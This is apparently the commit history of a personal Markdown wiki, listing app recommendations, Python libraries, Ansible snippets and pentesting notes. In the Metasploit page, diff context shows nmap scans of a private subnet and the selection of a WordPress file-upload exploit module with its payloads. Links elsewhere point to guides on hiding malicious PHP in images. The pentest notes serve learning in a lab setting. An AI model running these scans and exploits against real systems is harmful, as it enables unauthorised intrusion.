 Applications that I am currently using on [iOS](../ios/README.md).
 Applications that I am currently using on [iOS](../ios/README.md).
 ## [Working Copy](https://workingcopyapp.com/)
 
 A GUI Git client for iOS I use to edit and deploy different Git repositories.
+
+## [DEVONThink To Go](https://www.devontechnologies.com/products/devonthink/devonthink-to-go.html)
+
+For tracking PDFs and other documents in macOS and iOS.
+
+## [TweetBot](https://tapbots.com/tweetbot/)
+
+My favorite Twitter client for iOS and macOS.
+
+## [Bear](https://bear.app/)
+
+Note and ToDo list application for macOS and iOS.
updated setup/macos.md
Show More Show Less

+---
+search: false
+---
+
 # macOS Setup
+
+## [Tower](https://www.git-tower.com)
+
+A GUI Git client for macOS and Windows.
+
+## [DEVONThink Pro Office](https://www.devontechnologies.com/products/devonthink/devonthink-pro-office.html)
+
+For tracking PDFs and other documents in macOS and iOS.
+
+## [TweetBot](https://tapbots.com/tweetbot/)
+
+My favorite Twitter client for iOS and macOS.
+
+## [Bear](https://bear.app/)
+
+Note and ToDo list application for macOS and iOS.
updated setup/windows.md
Show More Show Less

+---
+search: false
+---
+
 # Microsoft Windows Setup
Dec, 17 2018

:sparkles: Add a new Python library.

updated programming/python/README.md
Show More Show Less

     [🐍](https://pypi.org/project/dataset/ "dataset on PyPi")
 -   [lab_getting_started.py](http://blog.varunajayasiri.com/ml/lab/lab_getting_started.html) - Lets you organize TensorFlow machine learning projects
 -   [cleanco](https://github.com/psolin/cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
+-   [yaps](https://ibm.github.io/yaps/) - a surface language for programming Stan models using python syntax - [🐙](https://github.com/ibm/yaps "yaps on GitHub")
+[🐍](https://pypi.org/project/yaps/ "yaps on PyPi")
 
 ### Data Science
 
Dec, 17 2018

:sparkles: Add a new tool.

updated unix/README.md
Show More Show Less

 ## Applications
 
 -   [terminalizer](https://github.com/faressoft/terminalizer) - Record your terminal and generate animated gif images.
+-   [tmux-cssh](https://github.com/dennishafemann/tmux-cssh) - a sets of comfortable and easy to use functionality, clustering and synchronizing virtual tmux-sessions.
 
 ## Links
 
Dec, 17 2018

Update README.md

updated programming/python/README.md
Show More Show Less

 -   [datacompy](https://capitalone.github.io/datacompy/) - Pandas and Spark DataFrame comparison for humans - [🐙](https://github.com/capitalone/datacompy "datacompy on GitHub")  [🐍](https://pypi.org/project/datacompy' "datacompy on PyPi")
 -   [intake](https://intake.readthedocs.io/en/latest/index.html) - A plugin system for loading your data and making data catalogs - [🐙](https://github.com/ContinuumIO/intake "intake") [🐍](https://pypi.org/project/intake' "intake on PyPi")
 -   [locopy](https://capitalone.github.io/Data-Load-and-Copy-using-Python/) - Loading/Unloading to Amazon Redshift - [🐙](https://github.com/capitalone/Data-Load-and-Copy-using-Python "locopy on GitHub") [🐍](https://pypi.org/project/locopy' "locopy on PyPi")
+-   [vaex](https://docs.vaex.io/en/latest/) - out-of-core DataFrames for Python, visualize and explore big tabular data at a billion rows per second - [🐙](https://github.com/vaexio/vaex "vaex on GitHub") [🐍](https://pypi.org/project/vaex' "vaex on PyPi")
 
 ## Links
 
Dec, 14 2018

Update pandas.md

updated programming/python/pandas.md
Show More Show Less

 
 pandas is a [Python](README.md) library for data manipulation and analysis.
 
+## Libaries
+
+-   [Pandas Bokeh](https://github.com/PatrikHlobil/Pandas-Bokeh) a Bokeh plotting backend for Pandas and GeoPandas.
+
 ## Links
 
 *   [A Gentle Visual Intro to Data Analysis in Python Using Pandas](https://jalammar.github.io/gentle-visual-intro-to-data-analysis-python-pandas/) by Jay Alammar, 29 October 2018.
Dec, 13 2018

Update laravel.md

updated programming/php/laravel.md
Show More Show Less

 
 ## Links
 
-*   [Building a realtime dashboard powered by Laravel and Vue](https://murze.be/building-a-realtime-dashboard-powered-by-laravel-and-vue-2017-edition) by Freek Van der Herten, 21 June 2017
+-   [Building a realtime dashboard powered by Laravel and Vue](https://murze.be/building-a-realtime-dashboard-powered-by-laravel-and-vue-2017-edition) by Freek Van der Herten, 21 June 2017
+-   [Soft Deleting Parent & Child Models in Eloquent Laravel 5](https://medium.com/teknomuslim/soft-deleting-parent-child-models-in-eloquent-laravel-5-dc05a29133bf) by Didik Tri Susanto, 7 August 2016
Dec, 13 2018

ls

added .gitattributes
Show More Show Less

+*.png filter=lfs diff=lfs merge=lfs -text
added pentesting/575CF62D4C7E18CFD40566EA08E7D588-1000by600-575cf6.png
Show More Show Less

+version https://git-lfs.github.com/spec/v1
+oid sha256:7d06417e0d7ad18918c09b47c24435791e81da67f0b93ec6a8760235909485b5
+size 975232
added pentesting/67A7D5964C96C63BA11EEA707CB4A604-1000by555-67a7d5.png
Show More Show Less

+version https://git-lfs.github.com/spec/v1
+oid sha256:e894d3ee1994015c70e5ab6f3e8dcde2c89796e03255a51b598a7f6e0f3f4a97
+size 734293
added pentesting/A9D412A6F8C5F3485B429E2EA41D4CB9-1000by717-a9d412.png
Show More Show Less

+version https://git-lfs.github.com/spec/v1
+oid sha256:343988d801f451471ab979b66bf1e490b2a969c1e7e45a4efc264752d9177423
+size 1095433
updated pentesting/metasploit.md
Show More Show Less
 The Metasploit Project is a computer security project that provides i
 msf > db_nmap -v -sV 192.168.111.xxx
 ```
 
-![pentest-env-kali-rolling\_\_Running\_.png](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/pentesting/resources/575CF62D4C7E18CFD40566EA08E7D588.png)
+![](575CF62D4C7E18CFD40566EA08E7D588.png)
 
 #### Scan an Entire Network
 
 msf > nmap -v -sV 192.168.111.0/24 -oA subnet_1
 msf > search name:wordpress
 ```
 
-![pentest-env-kali-rolling\_\_Running\_.png](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/pentesting/resources/A9D412A6F8C5F3485B429E2EA41D4CB9.png)
+![](A9D412A6F8C5F3485B429E2EA41D4CB9.png)
 
 ### Use an Exploit
 
 msf > use exploit/unix/webapp/wp_wysija_newsletters_upload
 msf exploit(wp_wysija_newsletters_upload) > show payloads
 ```
 
-![pentest-env-kali-rolling\_\_Running\_.png](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/pentesting/resources/67A7D5964C96C63BA11EEA707CB4A604.png)
+![](67A7D5964C96C63BA11EEA707CB4A604.png)
 
 -   This will show what software and version will be targeted:
 
Dec, 13 2018

:truck: Renamed a file.

updated SUMMARY.md
Show More Show Less

 -   [iOS](ios/README.md)
 -   [Linux](linux/README.md)
 -   [Pentesting](pentesting/README.md)
+    -   [Metasploit](pentesting/metasploit.md)
     -   [nmap Cheat Sheet](pentesting/nmap.md)
-    -   [WordPress](pentesting/wordpress.md)
 -   [Programming](programming/README.md)
     -   [CSS](programming/css.md)
     -   [Data Science](programming/data-science.md)
updated databases/mysql.md
Show More Show Less

 # MySQL
 
 MySQL is an open source RDBMS.
-
updated programming/php/wordpress.md
Show More Show Less

 -   [WP-Gistpen](https://wordpress.org/plugins/wp-gistpen/) - a self-hosted
     alternative to putting your code snippets on GitHub Gist.
 
+## See Also
+
+-   [Pentest WordPress with Metasploit](../../pentesting/metasploit.md#wordpress)
Dec, 13 2018

:sparkles: Add a page for wordpress.

updated SUMMARY.md
Show More Show Less

 -   [Computer Science](comp-sci/README.md)
     -   [AI](comp-sci/ai.md)
 -   [Databases](databases/README.md)
+    -   [MySQL](databases/mysql.md)
     -   [Postgres](databases/postgres.md)
 -   [DevOps](devops/README.md)
     -   [Ansible](devops/ansible.md)

     -   [Methodology](programming/methodology.md)
     -   [PHP](programming/php/README.md)
         -   [Laravel](programming/php/laravel.md)
+        -   [WordPress](programming/php/wordpress.md)
     -   [Python](programming/python/README.md)
         -   [Celery](programming/python/celery.md)
         -   [Pandas](programming/python/pandas.md)
added databases/mysql.md
Show More Show Less

+# MySQL
+
+MySQL is an open source RDBMS.
+
added programming/php/wordpress.md
Show More Show Less

+# WordPress
+
+WordPress is an open source content management system based on
+[PHP](README.md) and [MySQL](../../databases/mysql.md).
+
+## Plugins
+
+-   [WP-Gistpen](https://wordpress.org/plugins/wp-gistpen/) - a self-hosted
+    alternative to putting your code snippets on GitHub Gist.
+
Dec, 11 2018

Update SUMMARY.md

updated SUMMARY.md
Show More Show Less

 -   [Graphic Design](graphic-design/README.md)
     -   [Adobe Illustrator](graphic-design/adobe-illustrator.md)
 -   [iOS](ios/README.md)
+-   [Linux](linux/README.md)
 -   [Pentesting](pentesting/README.md)
     -   [nmap Cheat Sheet](pentesting/nmap.md)
     -   [WordPress](pentesting/wordpress.md)
Dec, 11 2018

Create README.md

added linux/README.md
Show More Show Less

+# Linux
+
+Linux is a family of free and open-source software operating systems built around the Linux kernel. 
+
+## Links
+
+*   [systemd user services are amazing](https://www.brendanlong.com/systemd-user-services-are-amazing.html) by Brendan Long, 15 June 2016
Dec, 05 2018
updated programming/python/README.md
Show More Show Less

 ## Libraries
 
 -   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [📣](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [🐙](https://github.com/socialcopsdev/camelot/ "Camelot on GitHub") [🐍](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
+-   [dataset](https://dataset.readthedocs.io/en/latest/index.html) - Databases
+    for lazy people. - [🐙](https://github.com/pudo/dataset "dataset on GitHub")
+    [🐍](https://pypi.org/project/dataset/ "dataset on PyPi")
 -   [lab_getting_started.py](http://blog.varunajayasiri.com/ml/lab/lab_getting_started.html) - Lets you organize TensorFlow machine learning projects
 -   [cleanco](https://github.com/psolin/cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
 

 -   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
 -   [My Python Development Environment](https://jacobian.org/2018/feb/21/python-environment-2018/) by Jacob Kaplan-Moss, 21 February 2018.
 -   [Working efficiently with JupyterLab Notebooks](https://florianwilhelm.info/2018/11/working_efficiently_with_jupyter_lab/) by Florian Wilhelm, 8 November 2018.
+-   [wtfpython](https://github.com/satwikkansal/wtfpython) - A collection of
+    surprising Python snippets and lesser-known features.
Dec, 05 2018

:sparkles: Add a new page.

updated SUMMARY.md
Show More Show Less

     -   [WordPress](pentesting/wordpress.md)
 -   [Programming](programming/README.md)
     -   [CSS](programming/css.md)
+    -   [Data Science](programming/data-science.md)
     -   [Go](programming/go.md)
     -   [JavaScript](programming/javascript.md)
     -   [Methodology](programming/methodology.md)
added programming/data-science.md
Show More Show Less

+# Data Science
+
+## Links
+
+-   [What is a Data Frame?](https://www.oilshell.org/blog/2018/11/30.html) by
+    Andy Chu, 30 November 2018.
Dec, 05 2018

:sparkles: Add some more pages.

updated graphic-design/README.md
Show More Show Less

 
 -   Adobe Creative Suite
     -   [Illustrator](adobe-illustrator.md)
+
+## Assets
+
+-   [Humaaans](https://www.humaaans.com/) - mix and match illustrations of people.
+
added productivity/README.md
Show More Show Less

+# Productivity
+
+## Email
+
+-   [How to Unsubscribe from Mailing Lists and Junk Newsletters in Gmail](https://www.labnol.org/internet/gmail-unsubscribe/28806/), a Google Script to unsubscribe from mailing lists autoatically.
updated programming/python/README.md
Show More Show Less

 
 ## Libraries
 
--   [cleanco](https://github.com/psolin/cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
 -   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [📣](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [🐙](https://github.com/socialcopsdev/camelot/ "Camelot on GitHub") [🐍](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
 -   [lab_getting_started.py](http://blog.varunajayasiri.com/ml/lab/lab_getting_started.html) - Lets you organize TensorFlow machine learning projects
+-   [cleanco](https://github.com/psolin/cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
 
 ### Data Science
 
+-   [datacompy](https://capitalone.github.io/datacompy/) - Pandas and Spark DataFrame comparison for humans - [🐙](https://github.com/capitalone/datacompy "datacompy on GitHub")  [🐍](https://pypi.org/project/datacompy' "datacompy on PyPi")
 -   [intake](https://intake.readthedocs.io/en/latest/index.html) - A plugin system for loading your data and making data catalogs - [🐙](https://github.com/ContinuumIO/intake "intake") [🐍](https://pypi.org/project/intake' "intake on PyPi")
 -   [locopy](https://capitalone.github.io/Data-Load-and-Copy-using-Python/) - Loading/Unloading to Amazon Redshift - [🐙](https://github.com/capitalone/Data-Load-and-Copy-using-Python "locopy on GitHub") [🐍](https://pypi.org/project/locopy' "locopy on PyPi")
--   [datacompy](https://capitalone.github.io/datacompy/) - Pandas and Spark DataFrame comparison for humans - [🐙](https://github.com/capitalone/datacompy "datacompy on GitHub")  [🐍](https://pypi.org/project/datacompy' "datacompy on PyPi")
 
 ## Links
 
Nov, 28 2018

Update README.md

updated programming/python/README.md
Show More Show Less

 
 -   [cleanco](https://github.com/psolin/cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
 -   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [📣](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [🐙](https://github.com/socialcopsdev/camelot/ "Camelot on GitHub") [🐍](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
+-   [lab_getting_started.py](http://blog.varunajayasiri.com/ml/lab/lab_getting_started.html) - Lets you organize TensorFlow machine learning projects
 
 ### Data Science
 
Nov, 26 2018

Update GLOSSARY.md

updated GLOSSARY.md
Show More Show Less
 search: false
 
 # Glossary
 
-## Postgres
-
-Also know as PostgreSQL and pgsql.
-
 ## AI
 
 Artificial Intelligence
+
+## ML
+
+Machine Learning
+
+## Postgres
+
+Also know as PostgreSQL and pgsql.
Nov, 21 2018
Nov, 21 2018

:sparkles: Add some pages to the SUMMARY file.

updated SUMMARY.md
Show More Show Less

 -   [Programming](programming/README.md)
     -   [CSS](programming/css.md)
     -   [Go](programming/go.md)
+    -   [JavaScript](programming/javascript.md)
+    -   [Methodology](programming/methodology.md)
+    -   [PHP](programming/php/README.md)
+        -   [Laravel](programming/php/laravel.md)
     -   [Python](programming/python/README.md)
         -   [Celery](programming/python/celery.md)
         -   [Pandas](programming/python/pandas.md)
updated programming/README.md
Show More Show Less
 Computer programming is the act of instructing computers to perform t
 
 ## See Also
 
+-   [Computer Science](../comp-sci/README.md)
 -   [Methodology](methodology.md)
 -   [Static Website Generators](static-websites.md)
 -   [Text Editors](../text-editors/README.md)
Nov, 21 2018
updated programming/README.md
Show More Show Less

 # Programming
+
+Computer programming is the act of instructing computers to perform tasks.
+
+## Languages
+
+-   [CSS](css.md)
+-   [Go](go.md)
+-   [JavaScript](javascript.md)
+-   [PHP](php/README.md)
+-   [Python](python/README.md)
+
+## See Also
+
+-   [Methodology](methodology.md)
+-   [Static Website Generators](static-websites.md)
+-   [Text Editors](../text-editors/README.md)
Nov, 21 2018
updated _scripts/link_sorter.py
Nov, 21 2018

:sparkles: Add a new page for Graphic Design.

updated SUMMARY.md
Show More Show Less

     -   [Postgres](databases/postgres.md)
 -   [DevOps](devops/README.md)
     -   [Ansible](devops/ansible.md)
+-   [Graphic Design](graphic-design/README.md)
+    -   [Adobe Illustrator](graphic-design/adobe-illustrator.md)
 -   [iOS](ios/README.md)
 -   [Pentesting](pentesting/README.md)
     -   [nmap Cheat Sheet](pentesting/nmap.md)
added graphic-design/README.md
Show More Show Less

+# Graphic Design
+
+Graphic design is the process of visual communication and problem-solving through the use of typography, photography and illustration.
+
+## Applications
+
+-   Adobe Creative Suite
+    -   [Illustrator](adobe-illustrator.md)
added graphic-design/adobe-illustrator.md
Show More Show Less

+# Adobe Illustrator
+
+Adobe Illustrator is a vector graphics editor.
+
+## Links
+
+-   [Vector icon speedruns](https://bjango.com/articles/iconspeedruns/)
Nov, 21 2018

Update films.md

updated lists/films.md
Show More Show Less
 search: false
 
 # Film to Watch 📽
 
+-   [ ] Hearts Beat Loud (2018), [iTunes](https://itunes.apple.com/ca/movie/hearts-beat-loud/id1426325081)
 -   [ ] Leave No Trace (2018)
 -   [ ] Don't Worry, He Won't Get Far on Foot (2018), [iTunes](https://tv.apple.com/ca/movie/dont-worry-he-wont-get-far-on-foot/umc.cmc.2q1lhbvg9mi946hy8akkvmiur)
Nov, 21 2018

Update README.md

updated programming/python/README.md
Show More Show Less

 
 -   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
 -   [My Python Development Environment](https://jacobian.org/2018/feb/21/python-environment-2018/) by Jacob Kaplan-Moss, 21 February 2018.
+-   [Working efficiently with JupyterLab Notebooks](https://florianwilhelm.info/2018/11/working_efficiently_with_jupyter_lab/) by Florian Wilhelm, 8 November 2018.
Nov, 16 2018

:art: Add iOS to summary file.

updated SUMMARY.md
Show More Show Less

     -   [Postgres](databases/postgres.md)
 -   [DevOps](devops/README.md)
     -   [Ansible](devops/ansible.md)
+-   [iOS](ios/README.md)
 -   [Pentesting](pentesting/README.md)
     -   [nmap Cheat Sheet](pentesting/nmap.md)
     -   [WordPress](pentesting/wordpress.md)
Nov, 16 2018

:rotating_light: Fix some linter issues.

added ios/README.md
Show More Show Less

+# iOS
+
+iOS (formerly iPhone OS) is a mobile operating system created and developed by Apple Inc.
updated programming/javascript.md
Show More Show Less

 
 ## Libraries
 
--   [cypress](https://www.cypress.io/) - testing framework that runs in the browser.
\ No newline at end of file
+-   [cypress](https://www.cypress.io/) - testing framework that runs in the browser.
updated setup/ios.md
Show More Show Less

 # iOS Applications
 
-Applications that I am currently using on [iOS](ios/README.md).
+Applications that I am currently using on [iOS](../ios/README.md).
 
 ## [Working Copy](https://workingcopyapp.com/)
 
Nov, 16 2018
added _scripts/link_sorter.py
updated comp-sci/ai.md
Show More Show Less
 Artificial intelligence (AI) is a term for simulated intelligence in
 
 ## Links
 
--   [Why can a Machine Beat Mario but not Pokemon?](https://towardsdatascience.com/why-can-a-machine-beat-mario-but-not-pokemon-ff61313187e1)
 -   [Using machine learning to index text from billions of images](https://blogs.dropbox.com/tech/2018/10/using-machine-learning-to-index-text-from-billions-of-images/)
+-   [Why can a Machine Beat Mario but not Pokemon?](https://towardsdatascience.com/why-can-a-machine-beat-mario-but-not-pokemon-ff61313187e1)
updated databases/postgres.md
Show More Show Less

 
 ## Links
 
--   [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
 -   [Better Date Manipulation in Postgres Queries](https://robots.thoughtbot.com/better-date-manipulation-in-postgres-queries) by Derrick Carr, 19 September 2017
 -   [PostgreSQL: The Versatile `INSERT`](https://pgdash.io/blog/postgres-insert.html), 26 September 2018
+-   [TicTacToe in SQL](https://bitbucket.org/snippets/mariusz-krynski/bedBGK/tic-tac-toesql)
 -   [How to Manage Connections Efficiently in Postgres, or Any Database](https://brandur.org/postgres-connections) by Brandur Leach, 15 October 2018
updated devops/ansible.md
Show More Show Less

 
 ### Looping over a subelement
 
-*   [Ansible Documentation](https://docs.ansible.com/ansible/2.4/playbooks_loops.html#looping-over-subelements)
-*   [Example Gist](https://gist.github.com/myles/2c1fb82c8764440756d910f981d9ff24)
+-   [Example Gist](https://gist.github.com/myles/2c1fb82c8764440756d910f981d9ff24)
+-   [Ansible Documentation](https://docs.ansible.com/ansible/2.4/playbooks_loops.html#looping-over-subelements)
 
 Variables:
 
updated pentesting/README.md
Show More Show Less

 
 ## Links
 
--   [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
 -   [Code injection – a simple PHP virus carried in a JPEG image](http://php.webtutor.pl/en/2011/05/13/php-code-injection-a-simple-virus-written-in-php-and-carried-in-a-jpeg-image/)
 -   [Injecting Malicious PHP In To An Image File : Injection And Execution](http://techyzilla.blogspot.ca/2012/07/injecting-malicious-php-in-to-an-image-file.html)
+-   [A Penetration Tester’s Guide to Postgres](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9)
 
 ## Useful Commands
 
updated programming/css.md
Show More Show Less
 Cascading Style Sheets (CSS) is a style sheet language used for descr
 
 ## Link
 
--   [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
 -   [sass selectors: to nest or not to nest?](http://bradfrost.com/blog/post/sass-selectors-to-nest-or-not-to-nest/) by Brad Frost
+-   [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
updated programming/go.md
Show More Show Less

 
 ## Books
 
--   [Writing An Interpreter In Go](https://interpreterbook.com/) by Thorsten Ball
 -   [Writing A Compiler in Go](https://compilerbook.com/) by Thorsten Ball
+-   [Writing An Interpreter In Go](https://interpreterbook.com/) by Thorsten Ball
 
 ## Libraries
 
updated programming/python/README.md
Show More Show Less

 
 ## Libraries
 
--   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [📣](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [🐙](https://github.com/socialcopsdev/camelot/ "Camelot on GitHub") [🐍](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
 -   [cleanco](https://github.com/psolin/cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
+-   [Camelot](https://camelot-py.readthedocs.io/en/master/) - PDF Table Extraction for Humans - [📣](https://blog.socialcops.com/technology/engineering/camelot-python-library-pdf-data/ "Announcing Camelot, a Python Library to Extract Tabular Data from PDFs") [🐙](https://github.com/socialcopsdev/camelot/ "Camelot on GitHub") [🐍](https://pypi.org/project/camelot-py/ "Camelot on PyPi")
 
 ### Data Science
 
--   [datacompy](https://capitalone.github.io/datacompy/) - Pandas and Spark DataFrame comparison for humans - [🐙](https://github.com/capitalone/datacompy "datacompy on GitHub")  [🐍](https://pypi.org/project/datacompy' "datacompy on PyPi")
--   [locopy](https://capitalone.github.io/Data-Load-and-Copy-using-Python/) - Loading/Unloading to Amazon Redshift - [🐙](https://github.com/capitalone/Data-Load-and-Copy-using-Python "locopy on GitHub") [🐍](https://pypi.org/project/locopy' "locopy on PyPi")
 -   [intake](https://intake.readthedocs.io/en/latest/index.html) - A plugin system for loading your data and making data catalogs - [🐙](https://github.com/ContinuumIO/intake "intake") [🐍](https://pypi.org/project/intake' "intake on PyPi")
+-   [locopy](https://capitalone.github.io/Data-Load-and-Copy-using-Python/) - Loading/Unloading to Amazon Redshift - [🐙](https://github.com/capitalone/Data-Load-and-Copy-using-Python "locopy on GitHub") [🐍](https://pypi.org/project/locopy' "locopy on PyPi")
+-   [datacompy](https://capitalone.github.io/datacompy/) - Pandas and Spark DataFrame comparison for humans - [🐙](https://github.com/capitalone/datacompy "datacompy on GitHub")  [🐍](https://pypi.org/project/datacompy' "datacompy on PyPi")
 
 ## Links
 
updated text-editors/vscode.md
Show More Show Less

 
 ## Links
 
--   [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
 -   [Awesome VS Code](https://github.com/viatsko/awesome-vscode)
+-   [neuron](https://github.com/lorenzo2897/vscode-ipe) - a robust application that seamlessly combines the power of Visual Studio Code with the interactivity of [Jupyter Notebook](https://github.com/myles/wiki/tree/f372daac5c55e94c0709618731da62eceb4e6a76/programming/jupyter-notebook.md).
Nov, 16 2018

Update README.md

updated programming/python/README.md
Show More Show Less

 ## Links
 
 -   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
+-   [My Python Development Environment](https://jacobian.org/2018/feb/21/python-environment-2018/) by Jacob Kaplan-Moss, 21 February 2018.
Nov, 11 2018

Added a new page for JavaScript.

added programming/javascript.md
Show More Show Less

+# JavaScript
+
+## Libraries
+
+-   [cypress](https://www.cypress.io/) - testing framework that runs in the browser.
\ No newline at end of file
Nov, 09 2018

Update css.md

updated programming/css.md
Show More Show Less

 # CSS
 
+Cascading Style Sheets (CSS) is a style sheet language used for describing the presentation of a document written in a markup language like HTML.
+
+## Framework
+
+-   [Spectre.css](https://picturepan2.github.io/spectre/) - A lightweight, responsive, and modern CSS framework - [🐙](https://github.com/picturepan2/spectre "Spectre.css on GitHub")
+
 ## Link
 
 -   [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
Nov, 08 2018

:sparkles: Add some new pages for PHP.

added programming/php/README.md
Show More Show Less

+# PHP
+
+PHP is a server-side scripting language designed for Web development, and also used as a general-purpose programming language.
added programming/php/laravel.md
Show More Show Less

+# Laravel
+
+Laravel is an open-source [PHP](README.md) web framework, created by Taylor Otwell and intended for the development of web applications following the model–view–controller (MVC) architectural pattern and based on Symfony.
+
+## Links
+
+*   [Building a realtime dashboard powered by Laravel and Vue](https://murze.be/building-a-realtime-dashboard-powered-by-laravel-and-vue-2017-edition) by Freek Van der Herten, 21 June 2017
Nov, 02 2018

Update pandas.md

updated programming/python/pandas.md
Show More Show Less

 
 ## Links
 
-*   [A Gentle Visual Intro to Data Analysis in Python Using Pandas](https://jalammar.github.io/gentle-visual-intro-to-data-analysis-python-pandas/) by Jay Alammar
+*   [A Gentle Visual Intro to Data Analysis in Python Using Pandas](https://jalammar.github.io/gentle-visual-intro-to-data-analysis-python-pandas/) by Jay Alammar, 29 October 2018.
 
 ## Notes
 
Nov, 02 2018

Update pandas.md

updated programming/python/pandas.md
Show More Show Less

 
 ## Links
 
-*   [A Gentle Visual Intro to Data Analysis in Python Using Pandas](https://jalammar.github.io/gentle-visual-intro-to-data-analysis-python-pandas/), by Jay Alammar
+*   [A Gentle Visual Intro to Data Analysis in Python Using Pandas](https://jalammar.github.io/gentle-visual-intro-to-data-analysis-python-pandas/) by Jay Alammar
 
 ## Notes
 
Nov, 02 2018

Update pandas.md

updated programming/python/pandas.md
Show More Show Less

 
 pandas is a [Python](README.md) library for data manipulation and analysis.
 
+## Links
+
+*   [A Gentle Visual Intro to Data Analysis in Python Using Pandas](https://jalammar.github.io/gentle-visual-intro-to-data-analysis-python-pandas/), by Jay Alammar
+
 ## Notes
 
 -   [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
Oct, 31 2018

:pencil2: Didn't close the dfn tag properly.

updated devops/README.md
Show More Show Less

 # DevOps
 
-DevOps is a software development methodology that combines software development with information technology operations.
+DevOps is a software development methodology that combines software development with information technology operations.
Oct, 31 2018

:sparkles: Add a couple new pages.

updated SUMMARY.md
Show More Show Less

     -   [AI](comp-sci/ai.md)
 -   [Databases](databases/README.md)
     -   [Postgres](databases/postgres.md)
+-   [DevOps](devops/README.md)
+    -   [Ansible](devops/ansible.md)
 -   [Pentesting](pentesting/README.md)
     -   [nmap Cheat Sheet](pentesting/nmap.md)
     -   [WordPress](pentesting/wordpress.md)

     -   [Books](lists/books.md)
     -   [Films](lists/films.md)
     -   [TV Shows](lists/tv-shows.md)
+    -   [Video Games](lists/video-games.md)
 -   [UNIX](unix/README.md)
 -   [Meta](meta/README.md)
     -   [License](LICENSE.md)
added devops/README.md
Show More Show Less

+# DevOps
+
+DevOps is a software development methodology that combines software development with information technology operations.
added devops/ansible.md
Show More Show Less

+# Ansible
+
+Ansible is a software that automates software provisioning, configuration management, and application deployment.
+
+## Snippets
+
+### Looping over a subelement
+
+*   [Ansible Documentation](https://docs.ansible.com/ansible/2.4/playbooks_loops.html#looping-over-subelements)
+*   [Example Gist](https://gist.github.com/myles/2c1fb82c8764440756d910f981d9ff24)
+
+Variables:
+
+```yaml
+users:
+  - username: myles
+    shell: /bin/bash
+    authorized_keys:
+      - "{{ lookup('file', 'ssh_keys/myles_laptop.pub') }}"
+      - "{{ lookup('file', 'ssh_keys/myles_ipad.pub') }}"
+      - "{{ lookup('file', 'ssh_keys/myles_iphone.pub') }}"
+```
+
+Tasks:
+
+```yaml
+- name: add ~/.ssh/authorized_keys file for the user accounts
+  authorized_key:
+    user: '{{ item.0.username }}'
+    key: "{{ item.1 }}"
+  with_subelements:
+    - '{{ users }}'
+    - authorized_keys
+  tags:
+    - common
+    - users
+```
added lists/README.md
Show More Show Less

+---
+search: false
+---
+
+# Lists
+
+This is where I list stuff I want watch [TV shows](tv-shows.md) or [films](films.md), read [books](books.md), or play [video games](video-games.md).
added lists/video-games.md
Show More Show Less

+---
+search: false
+---
+
+# Video Games to Play 🕹
Oct, 24 2018

:sparkles: Added some definitions.

updated GLOSSARY.md
Show More Show Less
 search: false
 ## Postgres
 
 Also know as PostgreSQL and pgsql.
+
+## AI
+
+Artificial Intelligence
updated comp-sci/README.md
Show More Show Less

 # Computer Science
+
+Computer science (Comp-Sci) is the study of the theory, experimentation, and engineering that form the basis for the design and use of computers.
updated comp-sci/ai.md
Show More Show Less

 # Artificial Intelligence
 
+Artificial intelligence (AI) is a term for simulated intelligence in machines. These machines are programmed to _think_ like a human and mimic the way a person acts.
+
 ## Links
 
 -   [Why can a Machine Beat Mario but not Pokemon?](https://towardsdatascience.com/why-can-a-machine-beat-mario-but-not-pokemon-ff61313187e1)
updated databases/README.md
Show More Show Less

 # Databases
+
